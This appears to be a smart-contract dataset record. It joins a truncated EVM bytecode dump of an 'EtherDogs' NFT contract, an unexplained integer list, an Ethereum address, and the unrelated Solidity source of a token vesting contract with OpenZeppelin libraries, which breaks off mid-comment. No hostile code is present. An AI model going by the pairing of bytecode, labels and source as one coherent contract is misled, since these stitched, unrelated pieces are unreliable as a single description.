b34156106e357600080fd5b6102c3600160a060020a036004351661184d565b341561070257600080fd5b6102ae600160a060020a0360043516611868565b341561072157600080fd5b6103346004356118f6565b341561073757600080fd5b6102c3611911565b341561074a57600080fd5b6102ae611917565b341561075d57600080fd5b610771600160a060020a03600435166119a3565b60405160208082528190810183818151815260200191508051906020019060200280838360005b838110156107b0578082015183820152602001610798565b505050509050019250505060405180910390f35b34156107cf57600080fd5b6102c3600435611a84565b34156107e557600080fd5b6102ae611d51565b34156107f857600080fd5b6102c3611e3c565b341561080b57600080fd5b610372611e42565b341561081e57600080fd5b6102c3611e79565b341561083157600080fd5b61083c600435611e7f565b60405163ffffffff909116815260200160405180910390f35b341561086057600080fd5b6102ae600160a060020a0360043516602435611eac565b341561088257600080fd5b610334611f4f565b341561089557600080fd5b6102c3611f5e565b34156108a857600080fd5b610334611f64565b34156108bb57600080fd5b61030d600435611f73565b34156108d157600080fd5b6102ae600160a060020a036004351661203c565b34156108f057600080fd5b610334612079565b341561090357600080fd5b61090e600435612088565b6040519915158a5297151560208a01526040808a01979097526060890195909552608088019390935260a087019190915260c086015260e0850152610100840152610120830191909152610140909101905180910390f35b6102ae6004356024356121e9565b341561097f57600080fd5b61033461232b565b6102ae60043560243561233a565b60115481565b60006040517f737570706f727473496e7465726661636528627974657334290000000000000081526019016040518091039020600160e060020a03191682600160e060020a0319161480610c1a57506040517f746f6b656e4d657461646174612875696e743235362c737472696e67290000008152601d0160405180910390206040517f746f6b656e734f664f776e657228616464726573732900000000000000000000815260160160405180910390206040517f7472616e7366657246726f6d28616464726573732c616464726573732c75696e81527f7432353629000000000000000000000000000000000000000000000000000000602082015260250160405180910390206040517f7472616e7366657228616464726573732c75696e743235362900000000000000815260190160405180910390206040517f617070726f766528616464726573732c75696e74323536290000000000000000815260180160405180910390206040517f6f776e65724f662875696e743235362900000000000000000000000000000000815260100160405180910390206040517f62616c616e63654f662861646472657373290000000000000000000000000000815260120160405180910390206040517f746f74616c537570706c792829000000000000000000000000000000000000008152600d0160405180910390206040517f73796d626f6c2829000000000000000000000000000000000000000000000000815260080160405180910390206040517f6e616d652829000000000000000000000000000000000000000000000000000081526006016040518091039020181818181818181818600160e060020a03191682600160e060020a031916145b90505b919050565b600154600160a060020a031681565b610c3961321b565b610c4161322d565b600d54600090600160a060020a03161515610c5b57600080fd5b600d54600160a060020a031663cb4799f287878760405160e060020a63ffffffff861602815260048101848152604060248301908152604483018490529091606401848480828437820191505094505050505060a060405180830381600087803b1515610cc757600080fd5b5af11515610cd457600080fd5b50505060405180608001805160209091016040529092509050610cf78282612532565b9695505050505050565b600960205260009081526040902054600160a060020a031681565b60408051908101604052600981527f4574686572446f67730000000000000000000000000000000000000000000000602082015281565b60025460a060020a900460ff1615610d6a57600080fd5b610d743382612587565b1515610d7f57600080fd5b610d8981836125a7565b7f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925338383604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a15050565b600054600160a060020a031681565b6000805433600160a060020a03908116911614610e0857600080fd5b5080600160a060020a0381166376190f8f6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610e4757600080fd5b5af11515610e5457600080fd5b505050604051805190501515610e6957600080fd5b600c8054600160a060020a031916600160a060020a039290921691909117905550565b600654600019015b90565b6000808211610ea557600080fd5b6006805483908110610eb357fe5b600091825260209091206002909102016001015460c060020a900463ffffffff16151592915050565b600c54600160a060020a031681565b60025460a060020a900460ff1615610f0257600080fd5b600160a060020a0382161515610f1757600080fd5b30600160a060020a031682600160a060020a031614151515610f3857600080fd5b610f4233826125d5565b1515610f4d57600080fd5b610f578382612587565b1515610f6257600080fd5b610f6d8383836125f5565b505050565b6000805433600160a060020a03908116911614610f8e57600080fd5b5080600160a060020a0381166354c15b826040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610fcd57600080fd5b5af11515610fda57600080fd5b505050604051805190501515610fef57600080fd5b60108054600160a060020a031916600160a060020a039290921691909117905550565b60005433600160a060020a0390811691161461102d57600080fd5b600160a060020a038116151561104257600080fd5b60008054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461107f57600080fd5b600160a060020a038116151561109457600080fd5b60028054600160a060020a031916600160a060020a0392909216919091179055565b60025460009081908190819033600160a060020a039081169116146110da57600080fd5b63ffffffff8a168a146110ec57600080fd5b63ffffffff891689146110fe57600080fd5b67ffffffffffffffff8616861461111457600080fd5b61ffff8516851461112457600080fd5b6000861161113157600080fd5b600085101580156111435750600d8511155b151561114e57600080fd5b869350600160a060020a038416151561117057600254600160a060020a031693505b60008a1161117d57600080fd5b6000891161118a57600080fd5b600680548b90811061119857fe5b906000526020600020906002020192506006898154811015156111b757fe5b6000918252602090912060018086015460029093029091019081015490935061ffff60f060020a928390048116935091900416819011156112045750600181015460f060020a900461ffff165b61121a8a8a8360010161ffff168b888b8b6126dd565b5050505050505050505050565b60025460a060020a900460ff161561123e57600080fd5b6112483385612587565b151561125357600080fd5b61125c84610e97565b1561126657600080fd5b600b5461127d908590600160a060020a03166125a7565b600b54600160a060020a03166327ebe40a858585853360405160e060020a63ffffffff88160281526004810195909552602485019390935260448401919091526064830152600160a060020a0316608482015260a401600060405180830381600087803b15156112ec57600080fd5b5af115156112f957600080fd5b50505050505050565b60005433600160a060020a0390811691161461131d57600080fd5b60025460a060020a900460ff16151561133557600080fd5b600b54600160a060020a0316151561134c57600080fd5b600c54600160a060020a0316151561136357600080fd5b601054600160a060020a0316151561137a57600080fd5b601254600160a060020a03161561139057600080fd5b6113986129c7565b565b600a60205260009081526040902054600160a060020a031681565b600080808085116113c557600080fd5b600084116113d257600080fd5b60068054869081106113e057fe5b906000526020600020906002020191506006848154811015156113ff57fe5b9060005260206000209060020201905061141b82868387612a1a565b801561142c575061142c8486612b9a565b95945050505050565b60025460a060020a900460ff161561144c57600080fd5b6114563385612587565b151561146157600080fd5b61146a84611f73565b151561147557600080fd5b600c5461148c908590600160a060020a03166125a7565b600c54600160a060020a03166327ebe40a858585853360405160e060020a63ffffffff88160281526004810195909552602485019390935260448401919091526064830152600160a060020a0316608482015260a401600060405180830381600087803b15156112ec57600080fd5b60025433600160a060020a0390811691161461151657600080fd5b600e55565b60025460a060020a900460ff161561153257600080fd5b61153c3382612587565b151561154757600080fd5b6000908152600a602052604090208054600160a060020a031916600160a060020a0392909216919091179055565b60005433600160a060020a0390811691161461159057600080fd5b600160a060020a03811615156115a557600080fd5b60018054600160a060020a031916600160a060020a0392909216919091179055565b60025433600160a060020a03908116911614806115f2575060005433600160a060020a039081169116145b8061160b575060015433600160a060020a039081169116145b151561161657600080fd5b60035463ffffffff16811061162a57600080fd5b600555565b60025460a060020a900460ff1681565b600154600090819033600160a060020a0390811691161461165f57600080fd5b30600160a060020a0316319150600e54600f54600101029050808211156116b657600154600160a060020a031681830380156108fc0290604051600060405180830381858888f1935050505015156116b657600080fd5b5050565b600081815260076020526040902054600160a060020a0316801515610c1d57600080fd5b60025460009033600160a060020a039081169116146116fc57600080fd5b67ffffffffffffffff8316831461171257600080fd5b61ffff8216821461172257600080fd5b6000831161172f57600080fd5b600082101580156117415750600d8211155b151561174c57600080fd5b5082600160a060020a038116151561176c5750600254600160a060020a03165b60115461c350901061177d57600080fd5b60118054600101905561179660008080888588886126dd565b505050505050565b601254600160a060020a031681565b6000805433600160a060020a039081169116146117c957600080fd5b5080600160a060020a0381166385b861886040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561180857600080fd5b5af1151561181557600080fd5b50505060405180519050151561182a57600080fd5b600b8054600160a060020a031916600160a060020a039290921691909117905550565b600160a060020a031660009081526008602052604090205490565b60005433600160a060020a0390811691161461188357600080fd5b60025460a060020a900460ff16151561189b57600080fd5b60128054600160a060020a031916600160a060020a0383161790557f450db8da6efbe9c22f2347f7c2021231df1fc58d3ae9a2fa75d39fa44619930581604051600160a060020a03909116815260200160405180910390a150565b600760205260009081526040902054600160a060020a031681565b60055481565b60025433600160a060020a0390811691161480611942575060005433600160a060020a039081169116145b8061195b575060015433600160a060020a039081169116145b151561196657600080fd5b60025460a060020a900460ff161561197d57600080fd5b6002805474ff0000000000000000000000000000000000000000191660a060020a179055565b6119ab61321b565b60006119b561321b565b60008060006119c38761184d565b94508415156119f35760006040518059106119db5750595b90808252806020026020018201604052509550611a7a565b84604051805910611a015750595b90808252806020026020018201604052509350611a1c610e8c565b925060009150600190505b828111611a7657600081815260076020526040902054600160a060020a0388811691161415611a6e5780848381518110611a5d57fe5b602090810290910101526001909101905b600101611a27565b8395505b5050505050919050565b600080600080600080600080600260149054906101000a900460ff16151515611aac57600080fd5b600680548a908110611aba57fe5b60009182526020909120600290910201600181015490975067ffffffffffffffff161515611ae757600080fd5b611b7c8761010060405190810160409081528254825260019092015467ffffffffffffffff8082166020840152680100000000000000008204169282019290925263ffffffff608060020a83048116606083015260a060020a83048116608083015260c060020a83041660a082015261ffff60e060020a8304811660c083015260f060020a90920490911660e0820152612bef565b1515611b8757600080fd5b60018701546006805460c060020a90920463ffffffff1697509087908110611bab57fe5b600091825260209091206001808a015460029093029091019081015490965061ffff60f060020a92839004811696509190041684901115611bf957600185015460f060020a900461ffff1693505b6010548754865460018a0154600160a060020a0390931692630d9f5aed92919068010000000000000000900467ffffffffffffffff166000190160405160e060020a63ffffffff86160281526004810193909352602483019190915267ffffffffffffffff166044820152606401602060405180830381600087803b1515611c8057600080fd5b5af11515611c8d57600080fd5b505050604051805160008b81526007602052604090205460018a810154929650600160a060020a039091169450611cdc92508b9160c060020a900463ffffffff1690870161ffff168686612c27565b6001880180547bffffffff00000000000000000000000000000000000000000000000019169055600f8054600019019055600e54909150600160a060020a0333169080156108fc0290604051600060405180830381858888f193505050501515611d4557600080fd5b98975050505050505050565b60025433600160a060020a0390811691161480611d7c575060005433600160a060020a039081169116145b80611d95575060015433600160a060020a039081169116145b1515611da057600080fd5b600b54600160a060020a0316635fd8c7106040518163ffffffff1660e060020a028152600401600060405180830381600087803b1515611ddf57600080fd5b5af11515611dec57600080fd5b5050600c54600160a060020a03169050635fd8c7106040518163ffffffff1660e060020a028152600401600060405180830381600087803b1515611e2f57600080fd5b5af11515610f6d57600080fd5b61c35081565b60408051908101604052600481527f45444f4700000000000000000000000000000000000000000000000000000000602082015281565b600f5481565b600381600e8110611e8c57fe5b60089182820401919006600402915054906101000a900463ffffffff1681565b60025460a060020a900460ff1615611ec357600080fd5b600160a060020a0382161515611ed857600080fd5b30600160a060020a031682600160a060020a031614151515611ef957600080fd5b600b54600160a060020a0383811691161415611f1457600080fd5b600c54600160a060020a0383811691161415611f2f57600080fd5b611f393382612587565b1515611f4457600080fd5b6116b63383836125f5565b600254600160a060020a031681565b600e5481565b600d54600160a060020a031681565b600080808311611f8257600080fd5b6006805484908110611f9057fe5b906000526020600020906002020190506120358161010060405190810160409081528254825260019092015467ffffffffffffffff8082166020840152680100000000000000008204169282019290925263ffffffff608060020a83048116606083015260a060020a83048116608083015260c060020a83041660a082015261ffff60e060020a8304811660c083015260f060020a90920490911660e0820152612ee0565b9392505050565b60005433600160a060020a0390811691161461205757600080fd5b600d8054600160a060020a031916600160a060020a0392909216919091179055565b600b54600160a060020a031681565b600080600080600080600080600080600060068c8154811015156120a857fe5b906000526020600020906002020190508060010160189054906101000a900463ffffffff1663ffffffff16600014159a50438160010160089054906101000a900467ffffffffffffffff1667ffffffffffffffff161115995080600101601c9054906101000a900461ffff1661ffff1698508060010160089054906101000a900467ffffffffffffffff1667ffffffffffffffff1697508060010160189054906101000a900463ffffffff1663ffffffff1696508060010160009054906101000a900467ffffffffffffffff1667ffffffffffffffff1695508060010160109054906101000a900463ffffffff1663ffffffff1694508060010160149054906101000a900463ffffffff1663ffffffff16935080600101601e9054906101000a900461ffff1661ffff16925080600001549150509193959799509193959799565b60025460009060a060020a900460ff161561220357600080fd5b61220d3383612587565b151561221857600080fd5b61222182611f73565b151561222c57600080fd5b6122368284612f17565b151561224157600080fd5b600c54600160a060020a031663c55d0f568460405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561228957600080fd5b5af1151561229657600080fd5b5050506040518051600e54909250820134101590506122b457600080fd5b600c54600e54600160a060020a039091169063454a2ab39034038560405160e060020a63ffffffff851602815260048101919091526024016000604051808303818588803b151561230457600080fd5b5af1151561231157600080fd5b50505050610f6d8263ffffffff168463ffffffff16612f66565b601054600160a060020a031681565b600254600090819060a060020a900460ff161561235657600080fd5b600e5434101561236557600080fd5b61236f3385612587565b151561237a57600080fd5b6123848385612b9a565b151561238f57600080fd5b600680548590811061239d57fe5b906000526020600020906002020191506124428261010060405190810160409081528254825260019092015467ffffffffffffffff8082166020840152680100000000000000008204169282019290925263ffffffff608060020a83048116606083015260a060020a83048116608083015260c060020a83041660a082015261ffff60e060020a8304811660c083015260f060020a90920490911660e0820152612ee0565b151561244d57600080fd5b600680548490811061245b57fe5b906000526020600020906002020190506125008161010060405190810160409081528254825260019092015467ffffffffffffffff8082166020840152680100000000000000008204169282019290925263ffffffff608060020a83048116606083015260a060020a83048116608083015260c060020a83041660a082015261ffff60e060020a8304811660c083015260f060020a90920490911660e0820152612ee0565b151561250b57600080fd5b61251782858386612a1a565b151561252257600080fd5b61252c8484612f66565b50505050565b61253a61321b565b61254261321b565b600080846040518059106125535750595b818152601f19601f830116810160200160405290509250506020820190508461257d8282876130ed565b5090949350505050565b600090815260076020526040902054600160a060020a0391821691161490565b6000918252600960205260409091208054600160a060020a031916600160a060020a03909216919091179055565b600090815260096020526040902054600160a060020a0391821691161490565b600160a060020a03808316600081815260086020908152604080832080546001019055858352600790915290208054600160a060020a031916909117905583161561268857600160a060020a03831660009081526008602090815260408083208054600019019055838352600a82528083208054600160a060020a03199081169091556009909252909120805490911690555b7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838383604051600160a060020a039384168152919092166020820152604080820192909252606001905180910390a1505050565b6000806126e8613256565b600063ffffffff8b168b146126fc57600080fd5b63ffffffff8a168a1461270e57600080fd5b61ffff8916891461271e57600080fd5b67ffffffffffffffff8616861461273457600080fd5b61ffff8516851461274457600080fd5b849250600d8361ffff16111561275957600d92505b610100604051908101604090815289825267ffffffffffffffff88166020830152600090820181905263ffffffff808e1660608401528c16608083015260a082015261ffff80851660c08301528a1660e0820152600680549193506001918083016127c4838261329a565b6000928352602090922085916002020181518155602082015160018201805467ffffffffffffffff191667ffffffffffffffff9290921691909117905560408201518160010160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060608201518160010160106101000a81548163ffffffff021916908363ffffffff16021790555060808201518160010160146101000a81548163ffffffff021916908363ffffffff16021790555060a08201518160010160186101000a81548163ffffffff021916908363ffffffff16021790555060c082015181600101601c6101000a81548161ffff021916908361ffff16021790555060e08201516001909101805461ffff9290921660f060020a027dffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9092169190911790555003905063ffffffff8116811461291f57600080fd5b7fa2950fd8c03e7518275ee57e05ca76c671969b5445b12b1aeea4b0b30195e5df8782846060015163ffffffff16856080015163ffffffff1686518760e0015161ffff166040518087600160a060020a0316600160a060020a03168152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390a16129b9600088836125f5565b9a9950505050505050505050565b60005433600160a060020a039081169116146129e257600080fd5b60025460a060020a900460ff1615156129fa57600080fd5b6002805474ff000000000000000000000000000000000000000019169055565b600081841415612a2c57506000612b92565b6001850154608060020a900463ffffffff16821480612a5b5750600185015460a060020a900463ffffffff1682145b15612a6857506000612b92565b6001830154608060020a900463ffffffff16841480612a975750600183015460a060020a900463ffffffff1684145b15612aa457506000612b92565b6001830154608060020a900463ffffffff161580612ad157506001850154608060020a900463ffffffff16155b15612ade57506001612b92565b60018581015490840154608060020a9182900463ffffffff90811692909104161480612b29575060018086015490840154608060020a900463ffffffff90811660a060020a90920416145b15612b3657506000612b92565b6001808601549084015460a060020a900463ffffffff908116608060020a909204161480612b8157506001858101549084015460a060020a9182900463ffffffff9081169290910416145b15612b8e57506000612b92565b5060015b949350505050565b6000818152600760205260408082205484835290822054600160a060020a0391821691168082148061142c57506000858152600a6020526040902054600160a060020a03908116908316149250505092915050565b60008160a0015163ffffffff1615801590610c1a57504367ffffffffffffffff16826040015167ffffffffffffffff16111592915050565b600080612c32613256565b600063ffffffff89168914612c4657600080fd5b63ffffffff88168814612c5857600080fd5b61ffff87168714612c6857600080fd5b600287049250600d8361ffff161115612c8057600d92505b610100604051908101604090815287825267ffffffffffffffff42166020830152600090820181905263ffffffff808c1660608401528a16608083015260a082015261ffff80851660c0830152881660e082015260068054919350600191808301612ceb838261329a565b6000928352602090922085916002020181518155602082015160018201805467ffffffffffffffff191667ffffffffffffffff9290921691909117905560408201518160010160086101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060608201518160010160106101000a81548163ffffffff021916908363ffffffff16021790555060808201518160010160146101000a81548163ffffffff021916908363ffffffff16021790555060a08201518160010160186101000a81548163ffffffff021916908363ffffffff16021790555060c082015181600101601c6101000a81548161ffff021916908361ffff16021790555060e08201516001909101805461ffff9290921660f060020a027dffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff9092169190911790555003905063ffffffff81168114612e4657600080fd5b7fa2950fd8c03e7518275ee57e05ca76c671969b5445b12b1aeea4b0b30195e5df8582846060015163ffffffff16856080015163ffffffff1686518760e0015161ffff166040518087600160a060020a0316600160a060020a03168152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390a1611d45600086836125f5565b60008160a0015163ffffffff16158015610c1a57504367ffffffffffffffff16826040015167ffffffffffffffff16111592915050565b6000806000600685815481101515612f2b57fe5b90600052602060002090600202019150600684815481101515612f4a57fe5b9060005260206000209060020201905061142c82868387612a1a565b600080600683815481101515612f7857fe5b90600052602060002090600202019150600684815481101515612f9757fe5b600091825260209091206002909102016001810180547bffffffff000000000000000000000000000000000000000000000000191660c060020a63ffffffff8716021790559050612fe782613132565b612ff081613132565b6000848152600a602090815260408083208054600160a060020a031990811690915586845281842080549091169055600f805460019081019091558784526007909252918290205483820154918501547f92f88a5b0e68184d6eaf466894625052095288be7d39de2429081c769956be1e93600160a060020a0392909216928892889267ffffffffffffffff68010000000000000000938490048116939091041690518086600160a060020a0316600160a060020a031681526020018581526020018481526020018367ffffffffffffffff1681526020018267ffffffffffffffff1681526020019550505050505060405180910390a150505050565b60005b6020821061311357825184526020840193506020830192506020820391506130f0565b6001826020036101000a03905080198351168185511617909352505050565b600554600182015443919060039060e060020a900461ffff16600e811061315557fe5b600891828204019190066004029054906101000a900463ffffffff1663ffffffff1681151561318057fe5b6001840180546fffffffffffffffff0000000000000000191668010000000000000000939092049390930167ffffffffffffffff16919091021790819055600d60e060020a90910461ffff161015613218576001818101805461ffff60e060020a8083048216909401169092027fffff0000ffffffffffffffffffffffffffffffffffffffffffffffffffffffff9092169190911790555b50565b60206040519081016040526000815290565b60806040519081016040526004815b6000815260001991909101906020018161323c5790505090565b6101006040519081016040908152600080835260208301819052908201819052606082018190526080820181905260a0820181905260c0820181905260e082015290565b815481835581811511610f6d57600083815260209020610f6d91610e949160029182028101918502015b808211156132de57600080825560018201556002016132c4565b50905600a165627a7a72305820868bd8e8dd28578c1310a416899a8a26b24783d59d45d01cc4fc6f942ed60ea00029
[ 7, 19, 11, 1, 9, 13 ]
0xf24Cba281fE53061C0a23e1C0dEA8792F9A9E691
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; contract StepVesting is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; event ReceiverChanged(address oldWallet, address newWallet); uint256 public immutable started; IERC20 public immutable token; uint256 public immutable cliffDuration; uint256 public immutable stepDuration; uint256 public immutable cliffAmount; uint256 public immutable stepAmount; uint256 public immutable numOfSteps; address public receiver; uint256 public claimed; modifier onlyReceiver { require(msg.sender == receiver, "access denied"); _; } constructor( IERC20 _token, uint256 _started, uint256 _cliffDuration, uint256 _stepDuration, uint256 _cliffAmount, uint256 _stepAmount, uint256 _numOfSteps, address _receiver ) public { token = _token; started = _started; cliffDuration = _cliffDuration; stepDuration = _stepDuration; cliffAmount = _cliffAmount; stepAmount = _stepAmount; numOfSteps = _numOfSteps; setReceiver(_receiver); } function available() public view returns(uint256) { return claimable().sub(claimed); } function claimable() public view returns(uint256) { if (block.timestamp < started.add(cliffDuration)) { return 0; } uint256 passedSinceCliff = block.timestamp.sub(started.add(cliffDuration)); uint256 stepsPassed = Math.min(numOfSteps, passedSinceCliff.div(stepDuration)); return cliffAmount.add( stepsPassed.mul(stepAmount) ); } function setReceiver(address _receiver) public onlyOwner { require(_receiver != address(0), "Receiver is zero address"); emit ReceiverChanged(receiver, _receiver); receiver = _receiver; } function kill(address target) external onlyOwner { require(target != address(0), "Transfer to zero address"); uint256 amount = token.balanceOf(address(this)); token.safeTransfer(target, amount); } function claim() external onlyReceiver { uint256 amount = available(); claimed = claimed.add(amount); token.safeTransfer(msg.sender, amount); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a 